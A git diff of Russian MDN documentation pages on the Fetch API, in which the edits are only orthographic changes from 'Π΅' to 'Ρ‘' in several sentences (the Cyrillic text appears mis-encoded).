+<p>ВСдётся ΠΌΠ½ΠΎΠ³ΠΎ дискуссий ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ привСсти Π½ΠΎΠ²Ρ‹Π΅ спСцификации Π² соотвСтствиС с этим ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ повСдСния, для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ.</p>
diff --git a/files/ru/web/api/fetch_api/index.html b/files/ru/web/api/fetch_api/index.html
index 90942a2c13..a4d89b389b 100644
--- a/files/ru/web/api/fetch_api/index.html
+++ b/files/ru/web/api/fetch_api/index.html
@@ -18,7 +18,7 @@ translation_of: Web/API/Fetch_API
<h2 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΡ_ΠΈ_использованиС">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΡΒ ΠΈ использованиС</h2>
-<p>Fetch обСспСчиваСт ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½ΠΎΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{DOMxRef("Request")}} ΠΈ {{DOMxRef("Response")}} (ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Ρ‰Π΅ΠΉ, связанных с сСтСвыми запросами). Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΈΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²Π΅Π·Π΄Π΅, Π³Π΄Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ, Π² Ρ‚ΠΎΠΌ числС ΠΈ для service workers, Cache API ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ запросы (requests) ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹ (responses), Π° Ρ‚Π°ΠΊ ΠΆΠ΅ Π² Π»ΡŽΠ±Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚ вас Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ свой собствСнный ΠΎΡ‚Π²Π΅Ρ‚ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ.</p>
+<p>Fetch обСспСчиваСт ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½ΠΎΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{DOMxRef("Request")}} ΠΈ {{DOMxRef("Response")}} (ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Ρ‰Π΅ΠΉ, связанных с сСтСвыми запросами). Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΈΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²Π΅Π·Π΄Π΅, Π³Π΄Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ, Π² Ρ‚ΠΎΠΌ числС ΠΈ для service workers, Cache API ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ запросы (requests) ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹ (responses), Π° Ρ‚Π°ΠΊ ΠΆΠ΅ Π² Π»ΡŽΠ±Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚ вас Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ свой собствСнный ΠΎΡ‚Π²Π΅Ρ‚ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ.</p>
<p>Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ прСдоставляСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ Ρ‚Π°ΠΊΠΈΡ… понятий, ΠΊΠ°ΠΊ CORS ΠΈ сСмантика Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² HTTP origin, замСняя ΠΈΡ… обособлСнныС опрСдСлСния Π³Π΄Π΅ Π±Ρ‹ Ρ‚ΠΎ Π½ΠΈ Π±Ρ‹Π»ΠΎ.</p>
@@ -36,7 +36,7 @@ translation_of: Web/API/Fetch_API
<ul>
<li>
- <p>ΠžΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ΅ ΠΈΠ· <code>fetch()</code>, <strong>Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ€Π³Π½ΡƒΡ‚ΠΎ ΠΏΡ€ΠΈ статусС ошибки HTTP</strong>, Π΄Π°ΠΆΠ΅ Ссли ΠΎΡ‚Π²Π΅Ρ‚ являСтся HTTP <code>404</code> ΠΈΠ»ΠΈ <code>500</code>. ВмСсто этого, ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Ρ‚ΡŒΡΡ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ (со статусом <code>ok</code> установлСнным Π² <code>false</code>), ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ сбоС Π² сСти ΠΈΠ»ΠΈ Ссли Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ помСшало Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡŽ запроса.</p>
+ <p>ΠžΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ΅ ΠΈΠ· <code>fetch()</code>, <strong>Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ€Π³Π½ΡƒΡ‚ΠΎ ΠΏΡ€ΠΈ статусС ошибки HTTP</strong>, Π΄Π°ΠΆΠ΅ Ссли ΠΎΡ‚Π²Π΅Ρ‚ являСтся HTTP <code>404</code> ΠΈΠ»ΠΈ <code>500</code>. ВмСсто этого, ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Ρ‚ΡŒΡΡ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ (со статусом <code>ok</code> установлСнным Π² <code>false</code>), ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ сбоС Π² сСти ΠΈΠ»ΠΈ Ссли Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ помСшало Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡŽ запроса.</p>
</li>
<li>
<p><code>fetch() </code>ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ мСТсайтовыС куки-Ρ„Π°ΠΉΠ»Ρ‹; Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΌΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²ΡƒΡŽ ΡΠ΅ΡΡΠΈΡŽΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <code>fetch</code>.</p>
@@ -48,7 +48,7 @@ translation_of: Web/API/Fetch_API
<h3 id="ΠŸΡ€Π΅Ρ€Ρ‹Π²Π°Π½ΠΈΠ΅_Π²Ρ‹Π±ΠΎΡ€ΠΊΠΈ">ΠŸΡ€Π΅Ρ€Ρ‹Π²Π°Π½ΠΈΠ΅ Π²Ρ‹Π±ΠΎΡ€ΠΊΠΈ</h3>
-<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π°Ρ‡Π°Π»ΠΈ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ для {{domxref("AbortController")}} ΠΈ {{domxref("AbortSignal")}} интСрфСйсов (aka The Abort API), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΏΡ€Π΅Ρ€Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Fetch ΠΈ XHR, Ссли ΠΎΠ½ΠΈ Π΅Ρ‰Π΅ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Ρ‹. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΡΡ‚ΠΈ смотритС Π½Π° страницах интСрфСйсов.</p>
+<p>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π°Ρ‡Π°Π»ΠΈ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ для {{domxref("AbortController")}} ΠΈ {{domxref("AbortSignal")}} интСрфСйсов (aka The Abort API), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΏΡ€Π΅Ρ€Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Fetch ΠΈ XHR, Ссли ΠΎΠ½ΠΈ Π΅Ρ‰Ρ‘ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Ρ‹. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΡΡ‚ΠΈ смотритС Π½Π° страницах интСрфСйсов.</p>
<h2 id="Fetch_интСрфСйсы">Fetch интСрфСйсы</h2>
diff --git a/files/ru/web/api/fetch_api/using_fetch/index.html b/files/ru/web/api/fetch_api/using_fetch/index.html
index f093df7ebf..77244b0d5a 100644
--- a/files/ru/web/api/fetch_api/using_fetch/index.html
+++ b/files/ru/web/api/fetch_api/using_fetch/index.html
@@ -10,7 +10,7 @@ translation_of: Web/API/Fetch_API/Using_Fetch
<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅,Β <code>fetch</code> спСцификация отличаСтся ΠΎΡ‚Β <code>jQuery.ajax()</code>Β Π² основном Π² Π΄Π²ΡƒΡ… ΠΏΡƒΠ½ΠΊΡ‚Π°Ρ…:</p>
<ul>
- <li>Promise Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌΒ <code>fetch()</code> <strong>Π½Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚ Π² состояниС "ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ" ΠΈΠ·-Π·Π° ΠΎΡ‚Π²Π΅Ρ‚Π° HTTP, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ считаСтся ошибкой</strong>, Π΄Π°ΠΆΠ΅ Ссли ΠΎΡ‚Π²Π΅Ρ‚ HTTP 404 ΠΈΠ»ΠΈ 500.Β  ВмСсто этого, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Β Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ (с Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ false Π² статусС <code>ok</code> )Β ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½Β Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ сбоС сСти ΠΈΠ»ΠΈ Ссли Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ помСшало запросу Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒΡΡ.</li>
+ <li>Promise Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌΒ <code>fetch()</code> <strong>Π½Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚ Π² состояниС "ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ" ΠΈΠ·-Π·Π° ΠΎΡ‚Π²Π΅Ρ‚Π° HTTP, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ считаСтся ошибкой</strong>, Π΄Π°ΠΆΠ΅ Ссли ΠΎΡ‚Π²Π΅Ρ‚ HTTP 404 ΠΈΠ»ΠΈ 500.Β  ВмСсто этого, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Β Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ (с Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ false Π² статусС <code>ok</code> )Β ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½Β Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ сбоС сСти ΠΈΠ»ΠΈ Ссли Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ помСшало запросу Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒΡΡ.</li>
<li>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ,Β <code>fetch</code>Β <strong>Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒΒ cookie Ρ„Π°ΠΉΠ»Ρ‹ </strong>с сСрвСра, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Ρ‡Π΅Π³ΠΎ запросы Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒΡΡΒ Π±Π΅Π· ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ подлинности, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚<span class="tlid-translation translation" lang="ru"><span title=""> ΠΊ Π½Π΅Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ запросам</span></span>, Ссли сайт полагаСтся Π½Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ сСссии (для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ cookie Ρ„Π°ΠΉΠ»ΠΎΠ² Π² Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅Β <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch#Parameters">init options</a>Β Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒΒ Π·Π°Π΄Π°Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <em>credentials</em> ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠ΅ ΠΎΡ‚ значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽΒ <code>omit</code>).</li>
</ul>
@@ -76,7 +76,7 @@ postData('https://example.com/answer', { answer: 42 })
credentials: 'include'
})</code></pre>
-<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ запрос с ΡƒΡ‡Π΅Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли URL ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ ΠΎΠ΄Π½ΠΎΠΌΡƒ источнику (origin)Β Ρ‡Ρ‚ΠΎ ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π΅Π³ΠΎ скрипт, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅Β <code>credentials: 'same-origin'</code>.</p>
+<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ запрос с ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли URL ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ ΠΎΠ΄Π½ΠΎΠΌΡƒ источнику (origin)Β Ρ‡Ρ‚ΠΎ ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π΅Π³ΠΎ скрипт, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅Β <code>credentials: 'same-origin'</code>.</p>
<pre><code>// Π’Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ скрипт ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ источнику 'https://example.com'
@@ -316,7 +316,7 @@ console.log(myHeaders.get("X-Custom-Header")); // [ ]</pre>
<h2 id="ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹_ΠΎΡ‚Π²Π΅Ρ‚Π°">ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΎΡ‚Π²Π΅Ρ‚Π°</h2>
-<p>Как Π²Ρ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Π²Ρ‹ΡˆΠ΅, экзСмпляр {{domxref("Response")}} Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ ΠΊΠΎΠ³Π΄Π°Β <code>fetch()</code> промис Π±ΡƒΠ΄Π΅Ρ‚ исполнСн.</p>
+<p>Как Π²Ρ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Π²Ρ‹ΡˆΠ΅, экзСмпляр {{domxref("Response")}} Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½ ΠΊΠΎΠ³Π΄Π°Β <code>fetch()</code> промис Π±ΡƒΠ΄Π΅Ρ‚ исполнСн.</p>
<p>Бвойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°-ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‡Π°Ρ‰Π΅ всСго ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ:</p>
@@ -371,7 +371,7 @@ console.log(myHeaders.get("X-Custom-Header")); // [ ]</pre>
<li>{{domxref("Body.formData","formData()")}}</li>
</ul>
-<p>Π­Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ использованиС нСтСкстовых Π΄Π°Π½Π½Ρ‹Ρ… Π±ΠΎΠ»Π΅Π΅ Π»Π΅Π³ΠΊΠΈΠΌ, Ρ‡Π΅ΠΌ ΠΏΡ€ΠΈ XMR.</p>
+<p>Π­Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ использованиС нСтСкстовых Π΄Π°Π½Π½Ρ‹Ρ… Π±ΠΎΠ»Π΅Π΅ Π»Ρ‘Π³ΠΊΠΈΠΌ, Ρ‡Π΅ΠΌ ΠΏΡ€ΠΈ XMR.</p>
<p>Π’ запросС ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Ρ‚Π΅Π»Π° запроса:</p>
@@ -385,7 +385,7 @@ console.log(myHeaders.get("X-Custom-Header")); // [ ]</pre>
<h2 id="Ѐункция_обнаруТСния">Ѐункция обнаруТСния</h2>
-<p>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Fetch API ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π° ΠΏΡƒΡ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ наличия {{domxref("Headers")}}, {{domxref("Request")}}, {{domxref("Response")}} ΠΈΠ»ΠΈ {{domxref("GlobalFetch.fetch","fetch()")}} Π² области видимости {{domxref("Window")}} ΠΈΠ»ΠΈ {{domxref("Worker")}}. Для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°:</p>
+<p>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Fetch API ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π° ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ наличия {{domxref("Headers")}}, {{domxref("Request")}}, {{domxref("Response")}} ΠΈΠ»ΠΈ {{domxref("GlobalFetch.fetch","fetch()")}} Π² области видимости {{domxref("Window")}} ΠΈΠ»ΠΈ {{domxref("Worker")}}. Для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°:</p>
<pre class="brush: js">if (self.fetch) {
// Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΌΠΎΠΉ fetch запрос здСсь
@@ -395,7 +395,7 @@ console.log(myHeaders.get("X-Custom-Header")); // [ ]</pre>
<h2 id="ΠŸΠΎΠ»ΠΈΡ„ΠΈΠ»">ΠŸΠΎΠ»ΠΈΡ„ΠΈΠ»</h2>
-<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Fetch Π² Π½Π΅ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, сущСствуСт  <a href="https://github.com/github/fetch">Fetch Polyfill</a>Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ воссоздаСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ для Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
+<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Fetch Π² Π½Π΅ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, сущСствуСт  <a href="https://github.com/github/fetch">Fetch Polyfill</a>Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ воссоздаёт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ для Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/fetchevent/index.html b/files/ru/web/api/fetchevent/index.html
index d0e2454f50..c95577b858 100644
--- a/files/ru/web/api/fetchevent/index.html
+++ b/files/ru/web/api/fetchevent/index.html
@@ -11,7 +11,7 @@ translation_of: Web/API/FetchEvent
<dl>
<dt>{{domxref("FetchEvent.FetchEvent()", "FetchEvent()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>FetchEvent</code>. Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π΄Π°Π½Π½Ρ‹ΠΉ конструктор Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ создаСт Π΄Π°Π½Π½Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΈΡ… Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий <code>fetch</code>.</dd>
